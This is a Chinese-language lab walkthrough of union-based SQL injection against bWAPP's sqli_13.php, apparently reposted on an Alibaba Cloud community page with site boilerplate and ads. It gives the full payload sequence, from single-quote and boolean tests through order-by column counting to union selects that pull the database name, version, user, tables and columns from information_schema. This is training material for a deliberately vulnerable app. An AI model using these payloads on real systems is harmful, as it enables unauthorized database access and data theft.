SQL注入之bWAPP之sqli_13.php

來源:互聯網
上載者:User

標籤:bWAPP之sqli_13.php

1、還是老樣子查看POST參數然後構造,結果

2、在hackbar的POST框中輸入“movie=1‘”,報錯中包含三個單引號,說明應該是數字型注入,結果

3、輸入“movie=1 and 1=1”正常,輸入“movie=1 and 1=2”報錯,結果如:


所以該處存在數字型注入點
4、判斷欄位數:
輸入“movie=1 order by 7”正常,輸入“movie=1 order by 8”報錯,說明欄位數為7,結果


查看顯示位置,輸入“movie=-1 union select 1,2,3,4,5,6,7”,結果

5、查詢資料庫等資訊:
輸入“movie=-1 union select 1,database(),version(),4,user(),6,7”,查看資料庫名、資料庫版本、目前使用者,結果

6、查詢表名:
輸入“movie=-1 union select 1,database(),version(),table_name,user(),6,7 from information_schema.tables where table_schema=‘bwapp‘”,表名為blog,結果

7、查詢欄位名:
輸入“movie=-1 union select 1,database(),version(),column_name,user(),6,7 from information_schema.columns where table_name=‘blog‘”,欄位名為id,結果

8、查詢欄位內容:
輸入“movie=-1 union select 1,database(),version(),id,user(),6,7 from blog”,欄位無內容。

SQL注入之bWAPP之sqli_13.php

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.